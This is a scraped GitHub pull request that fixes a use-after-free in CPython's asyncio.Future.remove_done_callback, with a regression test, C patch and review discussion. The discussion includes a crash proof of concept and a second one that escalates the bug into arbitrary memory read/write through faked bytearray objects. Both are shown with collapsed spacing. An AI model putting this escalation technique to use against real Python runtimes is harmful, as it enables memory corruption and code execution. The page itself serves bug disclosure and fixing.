Skip to content

gh-125966: fix UAF on fut->fut_callback0 due to an evil callback's __eq__#125967

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
kumaraditya303 merged 8 commits into from
Oct 27, 2024
Merged

gh-125966: fix UAF on fut->fut_callback0 due to an evil callback's __eq__#125967

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
8 commits
Select commit Hold shift + click to select a range
016442c
Fix UAF in `_asyncio`
picnixz Oct 25, 2024
ca7fe77
fix Python implementation
picnixz Oct 25, 2024
f9e21c3
blurb
picnixz Oct 25, 2024
181aadf
update links
picnixz Oct 25, 2024
ef878cb
Revert "fix Python implementation"
picnixz Oct 25, 2024
61de9b6
Merge branch 'main' into fix/future-callback-uaf-125966
picnixz Oct 26, 2024
11870aa
Clarify comment per Guido's request.
picnixz Oct 27, 2024
d98f13c
Merge remote-tracking branch 'upstream/main' into fix/future-callback…
picnixz Oct 27, 2024
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 18 additions & 0 deletions Lib/test/test_asyncio/test_futures.py
View file
Open in desktop
Original file line numberDiff line numberDiff line change
Expand Up@@ -999,6 +999,24 @@ def evil_call_soon(*args, **kwargs):
# returns an empty list but the C implementation returns None.
self.assertIn(fut._callbacks, (None, []))

def test_use_after_free_on_fut_callback_0_with_evil__eq__(self):
# Special thanks to Nico-Posada for the original PoC.
# See https://github.com/python/cpython/issues/125966.

fut = self._new_future()

class cb_pad:
def __eq__(self, other):
return True

class evil(cb_pad):
def __eq__(self, other):
fut.remove_done_callback(None)
return NotImplemented

fut.add_done_callback(cb_pad())
fut.remove_done_callback(evil())

def test_use_after_free_on_fut_callback_0_with_evil__getattribute__(self):
# see: https://github.com/python/cpython/issues/125984

Expand Down
2 changes: 2 additions & 0 deletions Misc/NEWS.d/next/Library/2024-10-25-10-53-56.gh-issue-125966.eOCYU_.rst
View file
Open in desktop
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
Fix a use-after-free crash in :meth:`asyncio.Future.remove_done_callback`.
Patch by Bénédikt Tran.
7 changes: 6 additions & 1 deletion Modules/_asynciomodule.c
View file
Open in desktop
Original file line numberDiff line numberDiff line change
Expand Up@@ -1019,7 +1019,12 @@ _asyncio_Future_remove_done_callback_impl(FutureObj *self, PyTypeObject *cls,
ENSURE_FUTURE_ALIVE(state, self)

if (self->fut_callback0 != NULL){
int cmp = PyObject_RichCompareBool(self->fut_callback0, fn, Py_EQ);
// Beware: An evil PyObject_RichCompareBool could free fut_callback0
// before a recursive call is made with that same arg. For details, see
// https://github.com/python/cpython/pull/125967#discussion_r1816593340.
PyObject *fut_callback0 = Py_NewRef(self->fut_callback0);
int cmp = PyObject_RichCompareBool(fut_callback0, fn, Py_EQ);
Py_DECREF(fut_callback0);
Comment on lines +1025 to +1027
Copy link
Member

@ZeroIntensityZeroIntensityOct 25, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmm, could you explain the issue more to me? I don't see any need to explicitly hold a reference here, because we (should) implicitly hold one by holding a reference to self.

Copy link
MemberAuthor

@picnixzpicnixzOct 25, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you run the PoC:

importasynciofut=asyncio.Future() classa: def__eq__(self, other): print("in a __eq__", self) print("other is", other) returnTruedef__del__(self): print("deleting", self) classb(a): def__eq__(self, other): print("in b __eq__") fut.remove_done_callback(None) print("None was removed") returnNotImplementedfut.add_done_callback(a()) fut.remove_done_callback(b())

you would get:

in b __eq__ in a __eq__ <__main__.a object at 0x7f2ef037f4a0> other is None None was removed deleting <__main__.a object at 0x7f2ef037f4a0> Segmentation fault (core dumped)

If you don't hold a reference to fut_callback0, the issue is that after __eq__, the reference to fut_callback0 will be freed before completing the call because of

if (cmp==1){/* callback0 == fn */Py_CLEAR(self->fut_callback0); // this clears Py_CLEAR(self->fut_context0); cleared_callback0=1}

@Nico-Posada Please correct me if I'm wrong here!

Copy link
Contributor

@Nico-PosadaNico-PosadaOct 25, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yeah that's main idea. After running fut.remove_done_callback(None) self->fut_callback0 will be cleared, but then the evil function returns NotImplemented which causes PyObject_RichCompareBool to call fut_callback0's __eq__ func after fut_callback0 has been cleared.

Copy link
Contributor

@Nico-PosadaNico-PosadaOct 25, 2024

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

fwiw, here's a POC that shows how you can escalate this to malicious object creation (tested on v3.13.0 on ubuntu 24.04 x86_64)

importasynciofut=asyncio.Future() classa(bytes): def__eq__(self, other): print("in a __eq__", hex(id(self)), hex(id(other))) returnTruedef__del__(self): print("deleting", hex(id(self))) classb(a): def__eq__(self, other): globalpadprint("in b __eq__", hex(id(self)), hex(id(other))) fut.remove_done_callback(None) delpad, otherprint("created ", hex(id(prealloc+fake_obj))) returnNotImplementedclassCatch: __slots__= ("mem",) def__eq__(self, other): globalmemmem=self.memreturnTruefake_ba= ( (0x123456).to_bytes(8, 'little') +id(bytearray).to_bytes(8, 'little') + (2**63-1).to_bytes(8, 'little') + (0).to_bytes(24, 'little') ) fake_obj= ( (0x123456).to_bytes(8, 'little') +id(Catch).to_bytes(8, 'little') + (id(fake_ba) +bytes.__basicsize__-1).to_bytes(8, 'little') ) prealloc=a(0x8050) pad=a(0x8000) to_corrupt=a(0x8000) print("pad:", hex(id(pad)), "to_corrupt:", hex(id(to_corrupt))) print("diff:", hex(id(to_corrupt) -id(pad))) mem=None# transfer ownership to futfut.add_done_callback(to_corrupt) delto_corruptfut.remove_done_callback(b()) ifmemisNone: print("failed") exit() print(hex(len(mem))) # => 0x7fffffffffffffffmem[id(250) +int.__basicsize__] =100print(250) # => 100

if (cmp == -1){
return NULL;
}
Expand Down